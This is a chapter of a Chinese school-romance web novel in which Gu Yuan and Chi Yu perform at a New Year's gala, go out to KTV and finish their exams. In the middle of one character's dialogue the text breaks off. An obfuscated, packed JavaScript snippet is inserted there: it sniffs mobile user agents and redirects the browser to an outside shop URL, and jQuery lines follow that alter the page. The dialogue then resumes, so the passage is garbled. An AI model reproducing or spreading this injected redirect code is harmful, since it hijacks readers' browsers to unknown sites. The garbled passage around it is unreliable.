元旦晚会在周四晚上。


    彩排前林雪拿着自己的全部家当给顾鸢和刘欣化妆。


    顾鸢本来就很白，林雪把重点都放到了眼妆上，眼尾加了碎钻，口红有些粉，林雪看了两眼，又换了一种涂上。


    及肩的头发散开披着，言酥还在左侧编了一个小辫子。


    顾鸢先弄好就和言酥去外面，言酥有一道题不会，顾鸢趴在窗台上给她讲。


    窗外冷风凌冽，窗帘被风吹到外面，下一瞬又被吹地直直打过来，顾鸢伸手去拦，头顶横出一只手先她一步抓住。


    “就是这样你再看一下。”


    顾鸢仰头，入目是英俊又隼利的眉眼，清晰高挺的鼻梁，还有颜色浅淡的嘴唇。


    男生耷拉着黑长的睫羽，垂眸看着她，目光平静又汹涌。


    她松开手，后背抵着窗台。


    男生的衣服都是统一的黑色系，女生的是红色。


    一红一黑，极具冲击力的两种色彩交织着，又似乎映衬着主人的心绪，无声的在进行着较量。


    自从上次激了迟瑜之后，顾鸢发现他看过来的眼神是越来越直白了。


    旁边的人：“……”


    “咳—”


    江皓阳把手里的塑料袋提起来，“顾姐你和言酥的饭。”


    言酥：“对，吃饭，先吃饭，饿死我了。”


    礼堂在五楼，一楼到三楼都是食堂，因为之前顾鸢吃食堂闹了肚子，在那之后没人敢让她吃食堂的饭。


    三楼，林雪和刘欣弄好之后也下来了。


    顾鸢看着饭盒里的菜愣住。


    桂花藕、油爆虾、香菇滑鸡、莴笋抄腊肠。


    “这是你们在哪里买的盒饭？”


    江皓阳举手，“就是芙蓉巷那边的一家老店。”


    他的好哥们挑挑选选选中的那家。


    言酥眼眸亮亮的，口水差点掉出来，“真好哦，跟着你沾光了。”


    顾鸢看了眼对面低头吃饭的男生，夹起一块香菇放入嘴里。


    林雪的眼睛直勾勾地盯着顾鸢饭盒里的油爆虾。


    顾鸢夹了一个放到她的餐盘里，“谢谢你帮我化妆。”


    “这有什么。”林雪高兴地吃了一大口米饭，“从我手里出来两位美女，这可有成就感的好吧。”


    说着林雪看向在场的其他人，“你们说，我这化妆技术怎么样？”


    江皓阳举起大拇指，“林姐牛逼。”


    墨谦也附和，“厉害。”


    迟瑜抬起眼帘看向对面的女生，大约是因为涂了口红，她吃的很小心，慢吞吞地嚼着口里的食物。


    像只高贵慵懒的小猫，时刻注意自己的形象。


    十五班的节目在中间，他们几个先坐在下面看节目，等时间差不多了再去后台。


    开场舞是由老师来表演的，音乐一响起，班里同学都认出了自己班的老师。


    言酥摇着顾鸢的手臂，双眸瞪大不可置信，“天哪，那竟然是曹老师，曹老师打扮一下这么帅的吗？”


    顾鸢把她张开的下巴抬起来，“收敛一下，不然收假回来曹老师要变曹大爷了。”


    曹军平刚研究生毕业，也才二十五岁的年纪，虽然平时不注重打扮，但收拾一下就是颜值气质中上的男大。


    顾鸢听老顾说过有的新老师为了让家长放心会刻意扮老，还有更重要的原因是十五六岁的高中生正是情窦初开的年纪，难免会生出不该有的心思。


    但要是个看门大爷摸样的，她们就绝对没想法了。


    言酥和旁边的女生疯狂摇手里的荧光棒，已经听不进去其他的声音了。


    “男神！男神！男生！”


    顾鸢扶额。


    太疯狂了。


    “你不喜欢？”


    耳畔突然响起清冽的话音，即使在嘈杂的环境中，顾鸢还是听得一清二楚。


    她反问：“你喜欢？”


    迟瑜噎住，过了好半晌才说了句，“我是直的。”


    “噗——”


    顾鸢捂着嘴笑，偏眸看着他，男生的耳尖泛起淡淡红晕，顾鸢捏了捏手指，控制住了摸上去的冲动。


    她的唇角微扬起，漾出一抹浅笑，慢悠悠地点了点脑袋。


    迟瑜往后靠，女生侧脸线条柔和，睫毛又浓又上翘，振翅间像只扑闪的蝴蝶，翅膀上还沾着细碎的星光，分外惹人。


    接下来的节目有小品《江南四大才子》、舞蹈《青花瓷》、歌曲《年轮》……


    差不多到时间了林雪叫大家去后台准备。


    刘欣的头发有点乱，林雪赶紧帮她整理，余光瞥了一眼顾鸢，又急忙说道：“你的口红掉了，快点涂上。”


    “在包里，粉色的那支。”


    顾鸢从林雪的百宝箱里找出口红，因为没有镜子，只能盲涂。


    迟瑜站在旁边看着，踌躇半晌才出声，“要不我帮……”


    顾鸢问他，“你拿手机了吗？”


    迟瑜点头头。


    “帮我拿起来。”


    迟瑜举起手机。


    女生微微张开双唇，露出贝齿里的粉色，唇瓣上朱砂轻点，开出一朵绚烂的红花。


    迟瑜堪堪别看眼，捏着手机的力道微紧。


    “好了。”


    顾鸢把口红收起来装好，看迟瑜没动，抬手在他眼前晃了晃，“你在想什么？”


    想……


    他没想。


    和前面的节目不同，他们的节目开场就是炫丽的灯光，加之劲爆的音乐。


    玫瑰是买的真花，顾鸢从迟瑜手里接过来的那一霎，下面的嗓子似乎都要喊破。


    “啊——”


    接着迟瑜的手紧紧楼在顾鸢腰间，手心滚烫的温度穿透衣服面料熨烫的皮肤都开始发热。


    按照彩排花是要扔出去的，可最后迟瑜伸手拦了一下咬在嘴里。顾鸢大脑宕机，差点忘了结束的动作。


    “在一起！”


    “在一起！”


    “顾鸢我喜欢你！”


    结束之后台下掌声雷鸣，甚至有人不少人在趁乱表白。


    台上灯光暗下去之后，顾鸢凭着记忆顺手拉起迟瑜，赶紧跑了下去。


    一出去林雪就抱住顾鸢，“你们是真的对不对，是真的对不对？”


    顾鸢被她晃得脑袋晕，“你先停一会儿，让我缓口气。”


    “好好好，来喝水。”林雪说着打开瓶盖把水塞到顾鸢手里。


    一瓶水喝完顾鸢觉得脸上的热度才退了一点。


    看着林雪揶揄的眼神，顾鸢无奈扯出僵硬的笑。


    元旦晚会结束之后就直接放假了，虽然只有一天。


    因为时间还早，林雪提议大家一起出去唱歌。


    顾鸢不是很想去，她刚才发现大姨妈来了。


    言酥抱着她的胳膊摇，“去嘛去嘛，这还是我和你第一次跨年，这么有意义我们不得好好纪念一下。”


    知道顾鸢不舒服，言酥凑在她耳边小声道：“晚上回去我给你按摩呀。”


    “什么回去，你回哪儿去？”徐百川在后面说道。


    言酥笑得有些猥琐，“我今晚要去顾鸢家。”


    一想到要和喜欢已久的偶像一起睡觉觉她就好兴奋啊，兴奋的想要跳起来。


    “什么？我也要去。”林雪强势加入。


    “不要，你去干什么？”言酥抱紧顾鸢不给她可乘之机。


    “为什么不要，我偏要去。”林雪也抱住顾鸢的另一条胳膊，“你说，让不让我去。”


    顾鸢仰天长叹，“去，让你去。”


    大不了她睡沙发好了，睡一起她怕被误伤。


    跟在后面的迟瑜眼神微闪。


    有江皓阳的吆喝，去的差不多有快二十个人。


    顾鸢从卫生间出来回到包厢的时候，里面已经坐了很多人。


    言酥拉着她坐到角落，凑近问道：“你还好吗？刚才迟瑜端了一杯热水进来，说是看你脸色不太好给你的，还让我问你是不是感冒了。”


    顾鸢抿了一口水，热意从喉间涌入，身上也暖了起来，“还好，就是有点饿。”


    “点了吃的应该快上了，要不要给你单独点一份？”


    顾鸢摇头，“不用，我可能也吃不了多少。”


    “那没事，我和你吃一份。”说完言酥就跑出去问了。


    顾鸢浑身疲惫，往后靠在沙发上伸手拿了一个抱枕打开手机看消息。


    突然旁边的垫子陷了下去，顾鸢以为是言酥，顺势揽住他的胳膊把手机递过去，“你看这……”


    迟瑜低眸，对于突然发生的状况明显是错愕的，垂在身侧的手指摩挲了下，尽量用平淡的语气出声，“看什么？”


    顾鸢淡定地抽出胳膊，视线落回手机上，“没看什么，我以为是言酥。”


    如果能忽略她紧张到薄红的耳朵的话，那她的伪装就是成功的。


    “嗯。”末了迟瑜又补充了一句，“她和林雪出去了。”


    “哦”


    顾鸢抬手把脸颊的碎发捋到耳后。


    大概是真的累了，看了几分钟手机她就开始打盹。


    言酥和林雪进来的时候整个包厢气氛活跃，只有角落里很安静。


    顾鸢抱着抱枕靠在沙发上睡着了，迟瑜就坐在他旁边玩手机。


    这处安静的地方在哄闹的包厢里显得格格不入，却又并无不妥。


    “还过去吗？”


    “算了吧。”


    顾鸢是被香味馋醒的，睁开眼就看到言酥啃了一大口烤串。


    “醒了，快吃，还要了一份蛋炒饭应该快上了。”言酥说着把一串烤肉塞到顾鸢手里。


    顾鸢四下看了眼，一帮人围在一起玩着什么游戏，迟瑜也在里面。


    从KTV出来的时候已经过十一点了，林雪被家里人接走，言酥跟着她。


    洗漱完出来，言酥手把手机递给她看。


    “你们俩现在是越来越火了，而且还有人专门剪辑了你们俩的部分重新加了配乐，你要不要听听？”


    顾鸢点了点脑袋。


    要不怎么说人家是专业，就这技术，不知道的人看了还以为里面的是热恋中的小情侣。


    言酥瞄了眼顾鸢，小声道：“我觉得你也有点喜欢她吧。”


    “是不是啊？你告诉我呗，我不给任何人说。”


    顾鸢笑了下，“那你先回答我一个问题呗。”


    “什么？”


    “你喜欢徐百川吗？”


    言酥吓得眼睛都瞪大了，“什么呀，我怎么可能会喜欢他，你看错了吧，那根本就不可能的事，你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903736|136220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想多了，……”


    看着顾鸢意味深长的笑容，言酥的声音慢慢弱了下来，但还是坚持道：“你肯定想多了。”


    顾鸢点点头，一副我信你的样子，“那你说话颠三倒四的，是不是太晚了困了？”


    “对，对，困了困了，这都快零点了，快休息吧。”


    群里有好多人发了跨年祝福，顾鸢也发了两句，退出来打开空间，翻了好一会儿才看到迟瑜发的。


    是一张玫瑰花的照片，没有文案。


    周大少：哪来的玫瑰花


    江皓阳回复周大少：捡的呗


    墨谦：原来花在你这儿


    余荔：怪不得说要自己买


    周大少：自己买的，我还以为是谁送的


    徐百川：……


    ……


    顾鸢又退出来点开留言，还是那张照片，配文是开心快乐每一天。


    顾鸢：“……”


    怕吵醒言酥，她憋着笑回了句，“你也是。”


    另一边，迟瑜正陪着叶蔓茹看跨年晚会，叶蔓茹边看边点评，“这俩人跳的还没你和那个小同学跳得好。”


    迟瑜抬起脑袋，叶蔓茹又说道：“你快放假了吧，今年咱们还要去老家吗？”


    迟瑜想也没想就说道：“我要补课。”


    叶蔓茹诧异地看向他，“儿子，学习而已，不用那么辛苦的。我怎么觉得你要学傻了。”


    迟瑜坐直了身体，幽幽道：“您多虑了。”顿了一会儿，他又说道：“你想回老家？”


    “你不去我也不去。”


    迟瑜点了点头往房间走。


    叶蔓茹一毕业就结了婚生了孩子，又是嫁了大她十三岁的迟英德。


    寡妇门前是非多，更何况叶蔓茹长得漂亮，总有不三不四地人爱往上来凑，每次回老家她都要受邻居的指点非议。


    迟瑜对那边的人是能避则避。


    —


    元旦一过，很快就是寒假。


    在紧张的复习中，终于迎来了期末考试。


    一中出成绩很快，周六考完，周一就能知道自己的分数。


    顾鸢又是断层第一。


    言酥看着成绩单哭出了喜悦的泪水，“我的寒假生活有保障了，太好了。”


    江皓阳眉毛皱的死死的，不可置信道：“我明明都写上了，怎么才这么点分。”


    迟瑜嗤笑了声，“把选择题的题目抄在填空题上，你觉得老师能给你分？”


    “正好，过年了可以给你烧纸。”徐百川说着摸了摸他的脑袋。


    过了半学期江皓阳的头发也长回来了。


    顾鸢大概知道他为什么要剃光头，因为他的头发是自然卷，还卷的挺厉害。


    顾鸢抽出迟瑜手里的成绩单，他的文科还是弱势，不是在及格线上蹦跶就是差一分及格，以至于总分下来只能排到后面。


    好的就是他的数学和英语的成绩上去了，语文还在挣扎中。


    “怎么样？”


    “不怎么样。”说完，空气中安静了几秒，顾鸢抬头看了眼几人，又补充了句，“我的意思是你还可以更好。”


    迟瑜抽回成绩单，闲闲地说了句，“那你觉得我什么时候能超过你。”


    顾鸢：“要不你今晚早点睡。”


    说不定能做个梦。


    迟瑜眄她一眼，“我不做梦。”


    “那就不做吧。”顾鸢语气淡淡的，察觉气氛低迷下去又道：“其实你已经很棒了，进步了好多名次。”


    这话倒是真的，迟瑜的入学成绩在班上排在后面，现在已经是中下了，要是文理分班的话他的成绩还能更好。


    顾鸢老神在在地拍了拍他的肩膀，“加油小迟。”


    “噗——”


    江皓阳学着顾鸢拍了拍迟瑜另一侧的肩膀，“加油小迟。”


    迟瑜嫌弃地推开他，阴阳怪气道：“阳阳还是先想想回家了怎么交代吧。”


    江皓阳：“……”


    领完寒假作业，大家收拾了书包就陆续回家。


    学校里除了高三和高四的还在补课其他教学楼都空了。


    出了校门大家挥手各回各家。


    时间还早，顾鸢打算先打车回家拿上东西再回金湾别墅。


    天气有点凉，顾鸢冷的把脖子缩进衣领里，扭头看向旁边，发现迟瑜站在烤红薯的小摊前。


    顾鸢抬脚走了过去，“你喜欢吃红薯啊？”


    迟瑜从老伯手里接过红薯递到她眼前，“拿着。”


    “给我的？你不吃吗？”


    顾鸢接住，滚烫的温度从皮肤表层穿进去，“怎么还有勺子？”


    “不然你用嘴啃？”


    顾鸢啊了一声，“可是我不吃红薯。”


    迟瑜啧了一声，“毛病真多。”虽然这样说着，但还是抬手把外套的帽子戴上，直接把人严严实实的包住。


    顾鸢的眼睛都被遮住了，下一秒红薯被他拿走。


    “车来了。”


    一辆粉色的出租被拦下，顾鸢快速拿起勺子剜了一勺红薯吃下，等人坐到车上，脑袋从窗户里探出来朝他挥手，“红薯你解决吧，收假见。”


    等车子开走，迟瑜才摸了摸泛红的耳朵。


    小摊大爷笑道：“小伙子要再拿一个勺子吗？”